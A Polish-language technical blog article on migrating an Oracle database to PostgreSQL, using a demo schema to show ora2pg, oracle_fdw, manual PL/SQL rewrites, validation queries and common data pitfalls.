DEV Community: Andrzej Klusiewicz

Migracja z Oracle do PostgreSQL: co się przeniesie, co trzeba przepisać, ile to kosztuje

Andrzej Klusiewicz — Tue, 25 Aug 2026 07:04:48 +0000

Migracja Oracle → PostgreSQL to jeden z najczęstszych projektów redukcji kosztów licencyjnych w firmach — i jeden z najczęściej źle wycenianych. Rozkładamy go na czynniki pierwsze: co przechodzi łatwo, co boli, ile to trwa.

Przeszliśmy realną migrację: postawiliśmy bazę Oracle ze schematem, danymi i kodem PL/SQL, a następnie przenieśliśmy ją do PostgreSQL 16 trzema metodami, skonfigurowaliśmy wysoką dostępność i zmierzyliśmy wydajność przed i po tuningu. Wszystkie zrzuty kodu i wyników pochodzą z prawdziwych uruchomień na żywych bazach — nic nie jest zmyślone.

W skrócie (TL;DR)

Schemat i dane migrują się niemal automatycznie (ora2pg). Prawdziwa praca to logika w PL/SQL: pakiety, transakcje autonomiczne, kolumny wirtualne, partycjonowanie. ora2pg sam ocenił naszą migrację na poziom B-5 (trudna, do 5 dni pracy). Po stronie wydajności PostgreSQL — po nastrojeniu konfiguracji (tuningu, czyli dostrojeniu ustawień serwera) — dorównuje Oracle lub go wyprzedza na 5 z 6 mierzonych zapytań. Ale domyślne ustawienia są celowo zachowawcze, a jedno źle napisane zapytanie w ogóle się u nas nie kończyło (przerywaliśmy je po 150 sekundach) — dopóki nie przepisaliśmy go tak, by liczyło się w ćwierć sekundy.

Migracja to nie „przepięcie parametrów połączenia”

Hasło „Oracle i PostgreSQL to przecież ten sam SQL” jest prawdziwe mniej więcej w 80%. Te 80% — tabele, indeksy, widoki, większość zapytań — przenosi się niemal automatycznie. Pozostałe 20% decyduje o tym, czy projekt trwa tydzień, czy kwartał. Składają się na nie: kod PL/SQL, pakiety, transakcje autonomiczne, sekwencje, partycjonowanie i typy danych przechowujące czas (oracle’owy DATE to data wraz z godziną). Do tego dochodzi cała warstwa administracyjna: kopie zapasowe, replikacja i wysoka dostępność.

Zamiast teoretyzować, zbudowaliśmy realną bazę źródłową i przenieśliśmy ją na żywo. Każdy zrzut poniżej to prawdziwe wyjście z konsoli — łącznie z błędami, które trzeba było obejść.

Środowisko testowe: „Nordpol”

Baza źródłowa to Oracle Database Free w Dockerze (etykieta „26ai” to aktualizacja z 2026 r. na rodzinie 23ai — ciąg wersji 23.26.2.0.0 — nie odrębna generacja silnika). Schemat NORDPOL to własny schemat demonstracyjny zbudowany od zera na potrzeby tego artykułu — żaden ze standardowych przykładowych schematów Oracle (HR, SCOTT, SH) nie skupia wszystkich typowych pułapek migracyjnych w jednym miejscu. Celowo używa konstrukcji charakterystycznych dla Oracle, by wywołać wszystkie typowe pułapki migracyjne:

tabele z kolumnami IDENTITY (styl 12c+) i osobno z sekwencją + triggerem (styl pre-12c),
kolumny wirtualne (wyliczane line_total = quantity * unit_price * (1 - discount)),
tabelę faktów partycjonowaną zakresowo po dacie — 100 000 zamówień, 300 000 pozycji,
pakiet pkg_sales, transakcję autonomiczną do audytu, widok hierarchiczny (CONNECT BY),
materialized view, global temporary table, typ obiektowy, MERGE oraz funkcje NVL/NVL2/DECODE.

Uwaga dla użytkowników 11g / 18c / 21c: cały przewodnik dotyczy każdej aktualnej wersji Oracle — różnice charakterystyczne dla starszych baz (złączenia stylem (+), ROWNUM, brak kolumn IDENTITY, CONNECT BY) omówione są osobno w sekcji Migracja ze starszych wersji Oracle.

-- Oracle: kolumna wirtualna + tabela partycjonowana zakresowo po dacie
CREATE TABLE order_items (
  order_id   NUMBER(12) NOT NULL,
  line_no    NUMBER(4)  NOT NULL,
  product_id NUMBER(8)  NOT NULL,
  quantity   NUMBER(8)  NOT NULL,
  unit_price NUMBER(10,2) NOT NULL,
  discount   NUMBER(4,3) DEFAULT 0,
  line_total NUMBER(14,2) GENERATED ALWAYS AS (quantity*unit_price*(1-discount)) VIRTUAL,
  CONSTRAINT pk_order_items PRIMARY KEY (order_id, line_no)
);

CREATE TABLE orders (
  order_id NUMBER(12) PRIMARY KEY, customer_id NUMBER(10), order_date DATE NOT NULL, ...
) PARTITION BY RANGE (order_date) (
  PARTITION p2024   VALUES LESS THAN (DATE '2025-01-01'),
  PARTITION p2025q1 VALUES LESS THAN (DATE '2025-04-01'), ... );

Schemat testowy NORDPOL — 10 tabel, 407 538 wierszytabela faktów (czerwona) + tabele wymiarowe · strzałki = klucze obceregions5 wierszycountries13 wierszycustomers5 000 wierszyemployees1 000 wierszydepartments20 wierszyproducts500 wierszyinventory1 000 wierszyorders100 000 wierszyorder_items300 000 wierszyaudit_log— wierszy6 partycjikol. wirtualna

Schemat NORDPOL: tabela faktów order_items (300 tys. wierszy) i tabele wymiarowe, powiązane kluczami obcymi. orders jest partycjonowana, a order_items ma kolumnę wirtualną.

⇓
Pobierz schemat NORDPOL — gotowy dump Oracle SQL

Pełny dump schematu NORDPOL gotowy do zaimportowania na własnej instancji Oracle. Zawiera DDL wszystkich obiektów (tabele, sekwencje, widoki, pakiet, triggery, MV, GTT, typ obiektowy) oraz dane — 407 538 wierszy INSERTów. Użyj go, żeby wiernie powtórzyć każdy krok tego przewodnika na swojej bazie.

nordpol_oracle.sql.gz
5,9 MB (skompresowany) · 68,9 MB po rozpakowaniu
format SQL*Plus, Oracle 11g–26ai

Jak użyć: gunzip nordpol_oracle.sql.gz, następnie:

sqlplus nordpol/nordpol123@HOST:1521/XE @nordpol_oracle.sql

Instrukcja CREATE USER z uprawnieniami jest w komentarzu na początku pliku.

⇓ Pobierz nordpol_oracle.sql.gz — 5,9 MB

Czym migrować — przegląd narzędzi

Rynek narzędzi do migracji Oracle→PostgreSQL jest dojrzały. W praktyce używa się jednego z trzech podejść (albo ich kombinacji):

Narzędzie	Co robi	Kiedy
ora2pg	Otwarte, de-facto standard. Konwertuje schemat, dane i PL/SQL, generuje raport oceny migracji.	Domyślny wybór do większości migracji
oracle_fdw	Foreign Data Wrapper (dostęp do obcej bazy jak do własnej tabeli) — PostgreSQL odpytuje Oracle na żywo. Migracja przyrostowa i walidacja.	Wielkie bazy, migracja etapami
ręcznie / SQL	Przepisanie logiki, której narzędzia nie tłumaczą 1:1 (pakiety, transakcje autonomiczne).	Zawsze — to te „20%”
AWS SCT + DMS	Komercyjne (AWS). Ocena + konwersja schematu + ciągła replikacja danych.	Migracje do RDS/Aurora
pgloader	Świetny do MySQL/MS SQL/SQLite; dla Oracle słabszy niż ora2pg.	Raczej nie do Oracle

Trzy drogi migracji Oracle -> PostgreSQLOraclebaza zrodlowatabele + PL/SQLora2pgschemat + daneautomat + raportoracle_fdwzywy dostepmigracja przyrostowarecznie / SQLPL/pgSQLpakiety, autonom.PostgreSQLbaza docelowa16Ocena migracji (ora2pg): poziom B-5 - wymaga przepisania pakietow, transakcji autonomicznych i kolumn wirtualnych.

Trzy drogi migracji zastosowane w tym artykule: ora2pg (schemat+dane), oracle_fdw (na żywo) i ręczne przepisanie PL/SQL.

ora2pg w praktyce

Instalacja (haczyk: klient Oracle)

Sam ora2pg to pakiet Perla. Pułapka tkwi w sterowniku DBD::Oracle, który wymaga Oracle Instant Client (sterowniki Perla do Oracle nie są w repozytoriach dystrybucji):

# 1) Instant Client (basic + sdk + sqlplus) -> /opt/oracle
# 2) sterownik Perla zbudowany pod ten klient
export ORACLE_HOME=/opt/oracle/instantclient_21_14
export LD_LIBRARY_PATH=$ORACLE_HOME
cpanm DBD::Oracle           # kompiluje sie pod Instant Client
apt-get install -y ora2pg   # sam ora2pg jest w repo

$ ora2pg --version
Ora2Pg v25.0

Raport oceny migracji — ile to naprawdę kosztuje

Zanim cokolwiek przeniesiesz, uruchom ora2pg -t SHOW_REPORT --estimate_cost. To jedyne narzędzie, które poda Ci liczbowy szacunek pracochłonności w dniach pracy programisty. W praktyce ora2pg czyta parametry połączenia z pliku ora2pg.conf. Minimalna konfiguracja, która wskazuje schemat i dane połączenia:

# ora2pg.conf
ORACLE_DSN    dbi:Oracle:host=<host>;port=1521;sid=XE
ORACLE_USER   NORDPOL
ORACLE_PWD    <hasło>
SCHEMA        NORDPOL

Jeżeli baza to PDB (Oracle 12c+), zamień sid=XE na service_name=ORCLPDB1. Raport uruchamiasz z flagą -c:

$ ora2pg -c ora2pg.conf -t SHOW_REPORT --estimate_cost

Dla naszego schematu NORDPOL raport zwraca:

ora2pg -t SHOW_REPORT --estimate_cost

-------------------------------------------------------------------------------
Ora2Pg v25.0 - Database Migration Report
-------------------------------------------------------------------------------
Version  Oracle AI Database 26ai Free Release 23.26.2.0.0
Schema   NORDPOL
Size     86.94 MB
-------------------------------------------------------------------------------
Object              Number  Invalid  Estimated cost  Comments
-------------------------------------------------------------------------------
GLOBAL TEMPORARY..  1       0        10.00   not supported in PostgreSQL
PACKAGE BODY        1       0        15.30   3 procedures/functions in package
PROCEDURE           1       0         4.60   log_event (autonomous transaction)
FUNCTION            2       0         8.50   fn_emp_fullname, fn_discount_tier
TABLE              10       0         1.30   4 IDENTITY columns, 3 CHECK constraints
TABLE PARTITION     6       0         1.00   RANGE partitioning
TRIGGER             1       0         4.00   trg_customers_bi
MATERIALIZED VIEW   1       1         0.00   only complete refresh
TYPE                1       0         1.00   object type
-------------------------------------------------------------------------------
Migration level : B-5
-------------------------------------------------------------------------------
  B = migration with code rewrite, up to 5 days of work
  5 = difficult: functions/triggers require manual rewriting

Jak czytać poziom migracji

Litera (A/B/C) mówi o pracochłonności, cyfra (1–5) o technicznej trudności. A-1 to migracja „jednym kliknięciem”. Nasze B-5 oznacza: dane i schemat pójdą automatem, ale pakiet, transakcję autonomiczną i kolumny wirtualne trzeba przepisać ręcznie.

Na co idzie budżet migracji (raport ora2pg)jednostki kosztu per typ obiektu · suma 51.8 = poziom B-5 (~1 dzień pracy)PACKAGE BODY (pakiet)15.3GLOBAL TEMP TABLE10.0FUNCTION (funkcje)8.5PROCEDURE (autonom.)4.6TRIGGER4.0INDEX (indeksy)2.7VIEW (widoki)2.4TABLE (tabele)1.3TABLE PARTITION1.0SEQUENCE1.0TYPE (typ obiekt.)1.0ręczne przepisanie (PL/SQL)automat (schemat/dane)

Ten sam raport pokazany wizualnie: ponad 80% szacowanego kosztu to kod PL/SQL (pakiet, procedura, funkcje, trigger), a nie schemat czy dane — dokładnie tam idzie budżet migracji.

Co ora2pg konwertuje sam — i robi to dobrze

Eksport DDL tabel uruchamiasz typem TABLE. Flaga -o podaje nazwę pliku wyjściowego; bez niej ora2pg pisze na stdout:

$ ora2pg -c ora2pg.conf -t TABLE -o table.sql

wyjście terminala

[ora2pg] Looking for TABLE definition...
[ora2pg] Exporting TABLE...
[ora2pg] Extracting objects (TABLE AUDIT_LOG, COUNTRIES, CUSTOMERS, DEPARTMENTS,
          EMPLOYEES, INVENTORY, ORDER_ITEMS, ORDERS, PRODUCTS, REGIONS)...
Done. 10 TABLE(s) found.
Skipping file table.sql, generating: table.sql

Wygenerowany table.sql zawiera gotowe CREATE TABLE przetłumaczone na PostgreSQL. Zwróć uwagę na trzy rzeczy: IDENTITY zachowane 1:1, kolumna wirtualna Oracle stała się GENERATED ... STORED, a oracle'owy DATE trafnie odwzorowano na timestamp(0) — zero w nawiasie oznacza brak ułamków sekundy, czyli dokładnie tę rozdzielczość, jaką ma oracle'owy DATE (data i czas do sekundy):

-- fragment table.sql wygenerowanego przez ora2pg
CREATE TABLE employees (
  employee_id bigint GENERATED BY DEFAULT AS IDENTITY,
  first_name  varchar(40) NOT NULL,
  last_name   varchar(40) NOT NULL,
  full_name   varchar(82) GENERATED ALWAYS AS (FIRST_NAME||' '||LAST_NAME) STORED,  -- VIRTUAL -> STORED
  hire_date   timestamp(0) NOT NULL DEFAULT statement_timestamp(),                  -- DATE -> timestamp
  salary      decimal(10,2), commission decimal(5,2),
  PRIMARY KEY (employee_id)
);
CREATE INDEX ix_emp_uname ON employees (upper(last_name));  -- indeks funkcyjny zachowany

Pułapka #1: kolumna wirtualna nie jest już wirtualna

Oracle przelicza kolumnę VIRTUAL dopiero przy odczycie (nie zajmuje miejsca w tabeli). W użytej tu wersji 16 PostgreSQL ma tylko GENERATED ... STORED — wartość jest fizycznie zapisywana, więc tabela urośnie na dysku. Kolumny liczone wirtualnie dodał dopiero PostgreSQL 18; jeśli migrujesz na 18 lub nowszą, odwzorujesz zachowanie Oracle bez kompromisu. (W Oracle kolumnę wirtualną można też zaindeksować — wtedy jej wartości trafiają do indeksu — oraz partycjonować po niej.)

Pułapka #2: klucz główny tabeli partycjonowanej

ora2pg wygenerował orders z PRIMARY KEY (order_id) i PARTITION BY RANGE (order_date). Na Oracle to legalne. PostgreSQL odmawia — i ma rację:

psql -f table.sql (ora2pg)

psql:table.sql:96: ERROR:  unique constraint on partitioned table must
  include all partitioning columns
DETAIL:  PRIMARY KEY constraint on table "orders" lacks column
  "order_date" which is part of the partition key.

W PostgreSQL każdy klucz unikalny tabeli partycjonowanej musi zawierać kolumnę partycjonującą. Poprawka to dopisanie order_date do PK:

-- przed:  PRIMARY KEY (order_id)
-- po:
PRIMARY KEY (order_id, order_date)

Pułapka #3: klucz obcy do tabeli partycjonowanej

Klucze obce wskazujące na tabelę partycjonowaną działają od PostgreSQL 12 — problem nie polega na braku wsparcia, tylko na tym, że FK musi odwzorować pełny klucz unikalny rodzica. Skoro PK to teraz (order_id, order_date), klucz obcy z order_items(order_id) nie ma do czego się odwołać (brakuje order_date). Albo dokładasz kolumnę partycji do tabeli-dziecka, albo rezygnujesz z deklaratywnego FK — warto o tym wiedzieć przed migracją.

Ładowanie danych — szybko i z pominięciem kolejności FK

ora2pg strumieniuje dane bezpośrednio z Oracle do PostgreSQL typem COPY. Haczyk: domyślna kolejność tabel potrafi naruszać FK (np. countries trafia do bazy przed regions). Rozwiązanie — trzy niezależne komendy:

Krok 1 — schemat bez FK (typy TABLE i SEQUENCE nie eksportują FK)

$ ora2pg -c ora2pg.conf -t SEQUENCE -o sequence.sql
$ ora2pg -c ora2pg.conf -t TABLE    -o table.sql
$ psql -h pg_host -U nordpol nordpol_pg -f sequence.sql
$ psql -h pg_host -U nordpol nordpol_pg -f table.sql

Krok 2 — dane (streaming Oracle → PostgreSQL, 407 tys. wierszy w 21 s)

$ ora2pg -c ora2pg.conf -t COPY | psql -h pg_host -U nordpol nordpol_pg

ora2pg -t COPY | psql

[ora2pg COPY] 407538/407538 rows (100.0%) on total estimated data
              (21 sec., avg: 19406 recs/sec)

-- kontrola liczebnosci po stronie PostgreSQL:
      t      | count
-------------+--------
 order_items | 300001
 orders      | 100001
 customers   |   5000
 employees   |   1000

Krok 3 — klucze obce (typ FKEY, dopiero po danych)

$ ora2pg -c ora2pg.conf -t FKEY -o fkey.sql
$ psql -h pg_host -U nordpol nordpol_pg -f fkey.sql

Pułapka #4: sekwencje i IDENTITY po załadowaniu danych

Klasyczny problem, o który potyka się wiele migracji. Po wgraniu danych z jawnymi wartościami kluczy (np. order_id = 1..100000) sekwencje nadal startują od 1. Pierwsza próba wstawienia nowego rekordu kończy się kolizją klucza. Trzeba przestawić zarówno zwykłe sekwencje, jak i sekwencje kolumn IDENTITY na najwyższą użytą wartość:

-- sekwencje jawne
SELECT setval('seq_orders',    (SELECT max(order_id)    FROM orders));
SELECT setval('seq_customers', (SELECT max(customer_id) FROM customers));
-- sekwencje kolumn IDENTITY
SELECT setval(pg_get_serial_sequence('audit_log','log_id'),
              (SELECT max(log_id) FROM audit_log));

Czego ora2pg nie zrobi za Ciebie

Tu zaczyna się prawdziwa robota — czyli te dni pracy, które ora2pg sam sobie zarezerwował w wycenie. Poniższy podział pokazuje, co przeszło automatem, a co trzeba tknąć ręcznie:

Co migruje samo, a co trzeba przepisać ręczniereguła 80/20: schemat i dane automatem, logika PL/SQL ręcznieMIGRUJE 1:1 (automat)WYMAGA PRZEPISANIA✓tabele, indeksy (też funkcyjne)✓widoki, sekwencje✓IDENTITY (12c+)✓MERGE (PG 15+)✓NVL → COALESCE✓DECODE / NVL2 → CASE✓(+) → LEFT JOIN✓DATE → timestamp⚒pakiet → schemat + funkcje⚒transakcja autonomiczna → dblink⚒kolumna VIRTUAL → STORED⚒PK tabeli partycjonowanej⚒GLOBAL TEMPORARY TABLE⚒CONNECT BY → WITH RECURSIVE⚒typ obiektowy (metody)⚒SYSDATE → LOCALTIMESTAMP

Reguła 80/20 migracji: lewa kolumna idzie automatem, prawa wymaga przepisania kodu.

Cztery najważniejsze z tych ręcznych konstrukcji omawiamy dalej z konkretnym kodem.

Pakiet → schemat + funkcje

PostgreSQL nie ma pakietów. Standardowy wzorzec: pakiet staje się schematem o tej samej nazwie, a jego procedury/funkcje — zwykłymi funkcjami w tym schemacie. Zmienna stanu pakietu (np. g_last_order_id) nie ma odpowiednika — używa się zmiennej sesyjnej (set_config/current_setting):

-- Oracle: pkg_sales.get_customer_balance(...)
-- PostgreSQL: schemat pkg_sales + funkcja
CREATE SCHEMA pkg_sales;
CREATE OR REPLACE FUNCTION pkg_sales.get_customer_balance(p_cust_id bigint)
RETURNS numeric LANGUAGE sql STABLE AS $$
  SELECT COALESCE(SUM(oi.line_total),0)            -- NVL -> COALESCE
    FROM orders o JOIN order_items oi ON oi.order_id=o.order_id
   WHERE o.customer_id=p_cust_id AND o.status <> 'CANCELLED';
$$;

Transakcja autonomiczna → dblink

To jedna z najczęstszych blokad migracji. PRAGMA AUTONOMOUS_TRANSACTION pozwala procedurze zatwierdzić własne zmiany niezależnie od transakcji nadrzędnej (typowo: audyt/logowanie). PostgreSQL nie ma tego mechanizmu wbudowanego — standardowe obejście to osobne połączenie przez dblink, które commituje samodzielnie:

CREATE EXTENSION IF NOT EXISTS dblink;
CREATE OR REPLACE FUNCTION log_event(p_table text, p_action text, p_details text)
RETURNS void LANGUAGE plpgsql AS $$
BEGIN
  PERFORM dblink_exec(                       -- osobne polaczenie = niezalezny commit
    'dbname=nordpol_pg host=localhost user=nordpol password=...',
    format('INSERT INTO audit_log(table_name,action,details) VALUES (%L,%L,%L)',
           p_table, p_action, p_details));
END; $$;

Dwie uwagi praktyczne. Po pierwsze, hasło wpisane wprost w treść funkcji (jak wyżej, dla czytelności) to antywzorzec — w produkcji użyj pliku .pgpass albo serwera dblink z mapowaniem użytkownika. Po drugie, dblink to nie jedyna droga: rozszerzenie pg_background realizuje to samo przez proces roboczy w tle, bez nowego połączenia i bez hasła w kodzie. dblink wybiera się często dlatego, że jest w standardowej dystrybucji.

CONNECT BY → WITH RECURSIVE

Hierarchiczne CONNECT BY (i SYS_CONNECT_BY_PATH) zamienia się na rekurencyjne wspólne wyrażenie tablicowe (CTE) — czytelniejsze i przenośne (standard SQL):

-- Oracle: START WITH manager_id IS NULL CONNECT BY PRIOR employee_id = manager_id
CREATE VIEW v_org_chart AS
WITH RECURSIVE org AS (
  SELECT employee_id, manager_id, full_name, 1 AS depth, '/'||last_name AS path
    FROM employees WHERE manager_id IS NULL
  UNION ALL
  SELECT e.employee_id, e.manager_id, e.full_name, o.depth+1, o.path||'/'||e.last_name
    FROM employees e JOIN org o ON e.manager_id = o.employee_id)
SELECT employee_id, lpad(' ',(depth-1)*2)||full_name AS org_name, depth, path FROM org;

Uwaga: rekurencyjne CTE nie ma gotowych odpowiedników wszystkich pseudokolumn CONNECT BY (CONNECT_BY_ROOT, CONNECT_BY_ISLEAF, NOCYCLE). Proste hierarchie przenoszą się 1:1, ale przy wykrywaniu cykli czy oznaczaniu liści trzeba dopisać logikę (np. nieś w CTE listę odwiedzonych węzłów, by zabezpieczyć się przed pętlą).

Dobra wiadomość: MERGE działa

Polecenie MERGE (czyli upsert — wstaw albo zaktualizuj) długo było argumentem „za Oracle”. Od PostgreSQL 15 jest natywne — naszą procedurę recalc_inventory (prosty upsert) przenieśliśmy 1:1. (Bardziej złożony oracle’owy MERGE z klauzulą DELETE lub RETURNING może wymagać korekty — RETURNING dla MERGE doszedł w PostgreSQL dopiero w wersji 17.) Mechaniczne są też NVL→COALESCE i NVL2/DECODE→CASE.

Pułapka: SYSDATE to nie CURRENT_DATE

Kusi, żeby oracle’owe SYSDATE podmienić na CURRENT_DATE — i to błąd. SYSDATE zwraca datę z godziną, a CURRENT_DATE w PostgreSQL — samą datę, więc po cichu obcina czas (dokładnie ta sama pułapka co przy DATE→date). Poprawny odpowiednik to LOCALTIMESTAMP (albo statement_timestamp()/clock_timestamp() zależnie od potrzeby).

Walidacja: te same dane, te same wyniki

Migracja jest warta tyle, ile jej walidacja. Łączymy się z docelową bazą przez psql:

bash

$ psql -h pg_host -U nordpol nordpol_pg

Uruchamiamy identyczny zestaw sprawdzeń co na Oracle — pakiet pkg_sales, funkcję fn_emp_fullname, widok v_customer_tiers i wpis w audit_log. Wyniki są co do grosza takie same — łącznie z saldem klienta liczonym przez przeniesiony pakiet, hierarchią z rekurencyjnego CTE i audytem zapisanym przez „transakcję autonomiczną” na dblink:

psql nordpol_pg

=== pakiet: place_order (CALL) + get_customer_balance ===
CALL pkg_sales.place_order(10, 5, 3, 7, NULL);   -- p_order_id = 100102
 saldo_klienta_10 
------------------
       2012249.66        <- identycznie jak na Oracle

=== fn_emp_fullname (CASE zamiast NVL2) ===
      emp4           |      emp7
--------------------------+-----------------
 Imie4 Nazwisko4 (+5.75%) | Imie7 Nazwisko7

=== audit_log (transakcja autonomiczna przez dblink) ===
 ORDERS | INSERT | order 100102 for cust 10

=== tier klientow (fn_discount_tier w widoku) ===
   tier   | klientow 
----------+----------
 PLATYNA  |     4927
 ZLOTO    |       33
 SREBRO   |       30
 STANDARD |       10

oracle_fdw: migracja na żywo i automatyczna walidacja

Dla dużych baz nie zawsze chcemy przenosin na raz (metodą „wielkiego wybuchu”, z ang. big bang). oracle_fdw montuje tabele Oracle jako tabele obce w PostgreSQL — można je odpytywać na żywo, ładować przyrostowo (INSERT ... SELECT z tabeli obcej) i — co bardzo wygodne — porównać liczbę wierszy po obu stronach jednym zapytaniem:

CREATE EXTENSION oracle_fdw;
CREATE SERVER oradb FOREIGN DATA WRAPPER oracle_fdw
  OPTIONS (dbserver '//localhost:1521/FREEPDB1');
CREATE USER MAPPING FOR nordpol SERVER oradb
  OPTIONS (user 'NORDPOL', password '...');
IMPORT FOREIGN SCHEMA "NORDPOL" LIMIT TO (orders, order_items, customers)
  FROM SERVER oradb INTO ora_src;

Po zaimportowaniu schemy Oracle jako tabele obce w schemacie ora_src możemy jednym zapytaniem porównać liczbę wierszy po obu stronach:

-- psql nordpol_pg
SELECT tabela, pg, oracle
FROM (
  SELECT 'orders'      AS tabela,
         (SELECT count(*) FROM orders)               AS pg,
         (SELECT count(*) FROM ora_src.orders)       AS oracle
  UNION ALL
  SELECT 'order_items',
         (SELECT count(*) FROM order_items),
         (SELECT count(*) FROM ora_src.order_items)
  UNION ALL
  SELECT 'customers',
         (SELECT count(*) FROM customers),
         (SELECT count(*) FROM ora_src.customers)
) t;

psql nordpol_pg (oracle_fdw)

=== Walidacja zgodnosci: PostgreSQL vs Oracle (przez FDW) ===
   tabela    |   pg   | oracle 
-------------+--------+--------
 orders      | 100001 | 100001
 order_items | 300001 | 300001
 customers   |   5000 |   5000

Kodowanie znaków — ustaw od razu

Bazę docelową twórz w UTF8 (Oracle zwykle ma AL32UTF8). Jeśli utworzysz ją jako SQL_ASCII, oracle_fdw ostrzeże, że „wszystkie znaki poza ASCII zostaną utracone” — i polskie ogonki rzeczywiście przepadną.

Ciche pułapki danych, które rozjeżdżają wyniki po cutoverze

Najgroźniejsze błędy migracji nie wywalają ładowania — one przechodzą bez słowa i ujawniają się dopiero, gdy aplikacja zaczyna zwracać inne wyniki niż na Oracle. Cztery, które widuje się najczęściej:

Pułapka #5 (najważniejsza): pusty string to nie NULL

W Oracle pusty ciąg '' jest tożsamy z NULL — to ewenement na tle standardu SQL. W PostgreSQL '' to poprawna, niepusta wartość, różna od NULL. Skutki są podstępne: zapytania WHERE col IS NULL przestają łapać rekordy, które w Oracle były „puste”; konkatenacja NULL||'x' daje w Oracle 'x', a w PostgreSQL NULL; kolumna NOT NULL przyjmie '' tam, gdzie Oracle ją odrzucał. To najczęstsza cicha przyczyna rozjazdu danych. Przed przejściem produkcyjnym znajdź takie kolumny (UPDATE ... SET col = NULL WHERE col = '') i przejrzyj logikę aplikacji oraz warunki.

Sortowanie i wielkość liter w identyfikatorach

Oracle sortuje wg NLS_SORT (np. NLS_SORT=POLISH dla poprawnej kolejności ą, ć, ż), a PostgreSQL wg collation systemu lub biblioteki ICU. Bez jawnego ustawienia (np. COLLATE "pl-PL-x-icu") ORDER BY i indeksy unikalne mogą porządkować dane inaczej niż Oracle. Druga rzecz: niecytowane identyfikatory Oracle sprowadza do WIELKICH liter, a PostgreSQL do małych — obiekt utworzony jako Orders żyje w Oracle jako ORDERS, a w PG jako orders. Kod odpytujący katalog systemowy po nazwach (albo używający cudzysłowów) trzeba ujednolicić, inaczej posypią się odwołania do tabel i kolumn.

Cache sekwencji, daty brzegowe i duże obiekty

Cache sekwencji. Oracle domyślnie buforuje 20 wartości (CACHE 20), PostgreSQL — tylko 1. Przy intensywnych, współbieżnych wstawieniach domyślne CACHE 1 bywa wąskim gardłem — rozważ ALTER SEQUENCE ... CACHE n dla gorących sekwencji. W obu silnikach bufor i wycofania powodują dziury w numeracji — nie wolno zakładać ciągłości klucza.
Daty brzegowe. W starych bazach trafiają się rekordy z datami spoza zakresu PostgreSQL lub technicznie nieprawidłowe (efekt luźniejszej walidacji Oracle), które przerywają COPY komunikatem date/time field value out of range. Wyłap je zapytaniem kontrolnym i oczyść lub zmapuj na NULL — inaczej jeden zły wiersz zatrzyma transfer całej tabeli.
Duże obiekty (LOB). Konwersja CLOB→text i BLOB→bytea jest prosta, ale ładowanie bywa wąskim gardłem — ora2pg czyta LOB-y w całości do pamięci. Dwa parametry w ora2pg.conf kontrolują zużycie RAM i wielkość paczki:

  # --- ora2pg.conf (fragment dla tabel z LOB-ami) ---
  LONGREADLEN   1048576   # max 1 MB na LOB (domyślnie 0 = czyta cały obiekt do pamięci)
  DATA_LIMIT    50        # wierszy w paczce COPY (domyślnie 10 000 — za dużo przy dużych LOB-ach)

Tabele z LOB-ami eksportuj osobno, żeby móc dostosować oba parametry bez ruszania reszty migracji:

  ora2pg -c ora2pg.conf -t COPY \
    --allow DOCUMENTS,ATTACHMENTS \
    -o lob_tables.sql

  psql -h pg_host -U nordpol nordpol_pg -f lob_tables.sql

Jeśli LOB przekracza LONGREADLEN, ora2pg obcina go i loguje ostrzeżenie — zwiększ limit lub usuń zbyt duże obiekty przed migracją.

Dwie funkcje Oracle, które tracą na sile

Materialized view. Oracle potrafi odświeżać widok zmaterializowany przyrostowo (FAST REFRESH na podstawie materialized view log, opcjonalnie ON COMMIT). PostgreSQL ma tylko pełny REFRESH MATERIALIZED VIEW — przy dużych widokach to realna różnica wydajnościowa. Global temporary table. PostgreSQL ma tabele tymczasowe, ale brak mu trwałej, globalnej definicji jak oracle’owa GTT (gdzie struktura żyje stale w słowniku, a dane są prywatne dla sesji). Obejście: zwykła tabela temp w sesji albo rozszerzenie pgtt; od PG18 dochodzi częściowe wsparcie globalnych tabel tymczasowych.

Drobiazgi PL/SQL, które i tak trzeba ruszyć

Obsługa wyjątków. Oracle’owe nazwane wyjątki, RAISE_APPLICATION_ERROR oraz SQLCODE/SQLERRM zastępuje blok EXCEPTION WHEN ... w PL/pgSQL z kodami SQLSTATE i GET STACKED DIAGNOSTICS — mapowanie błędów (np. NO_DATA_FOUND, DUP_VAL_ON_INDEX) trzeba przepisać ręcznie.
Diagnostyka. DBMS_OUTPUT.PUT_LINE → RAISE NOTICE (lub funkcja dbms_output z orafce).
Harmonogram zadań. DBMS_SCHEDULER/DBMS_JOB nie mają wbudowanego odpowiednika — używa się rozszerzenia pg_cron (zadania zapisane w bazie, składnia crona) albo zewnętrznego cron/pgAgent.

Migracja ze starszych wersji Oracle (11g, 18c, 21c)

W realnym świecie prawie nikt nie migruje z najnowszego 26ai — migruje się z 19c, 12c, a bardzo często z wiekowego 11g, który wciąż pracuje w setkach firm. Im starsze źródło, tym więcej „archaicznych” idiomów w kodzie — i tym ważniejsze, że ora2pg je rozumie. Postawiliśmy te wersje obok siebie (Oracle 11g, 18c i 21c) i przepuściliśmy przez nie ten sam „stary” schemat.

Co wygląda inaczej w starym kodzie

Klucze główne na sekwencji + triggerze — 11g nie ma jeszcze kolumn IDENTITY (te weszły w 12c).
Złączenia zewnętrzne operatorem (+) zamiast LEFT JOIN.
Paginacja przez ROWNUM — brak FETCH FIRST n ROWS (to też 12c).
DECODE wszędzie tam, gdzie dziś pisze się CASE.

Najlepsza wiadomość: ora2pg tłumaczy te wzorce automatycznie. Operator (+) — zmora wielu migracji — staje się czytelnym LEFT JOIN:

-- Oracle (styl 11g): zlaczenie (+), NVL i DECODE
CREATE OR REPLACE VIEW v_emp_dept AS
SELECT e.empno, e.ename, e.sal, NVL(d.dname,'(brak)') dname,
       DECODE(SIGN(e.sal-10000), 1,'WYSOKA', 0,'SREDNIA', 'NISKA') widelki
  FROM emp e, dept d
 WHERE e.deptno = d.deptno(+);

-- ora2pg -> PostgreSQL (rzeczywiste wyjscie): (+) -> LEFT JOIN, NVL -> coalesce, DECODE -> CASE
CREATE OR REPLACE VIEW v_emp_dept (empno, ename, sal, dname, widelki) AS
SELECT e.empno, e.ename, e.sal, coalesce(d.dname,'(brak)') dname,
       CASE WHEN SIGN(e.sal-10000)=1 THEN 'WYSOKA'
            WHEN SIGN(e.sal-10000)=0 THEN 'SREDNIA' ELSE 'NISKA' END widelki
  FROM emp e LEFT OUTER JOIN dept d ON (e.deptno = d.deptno);

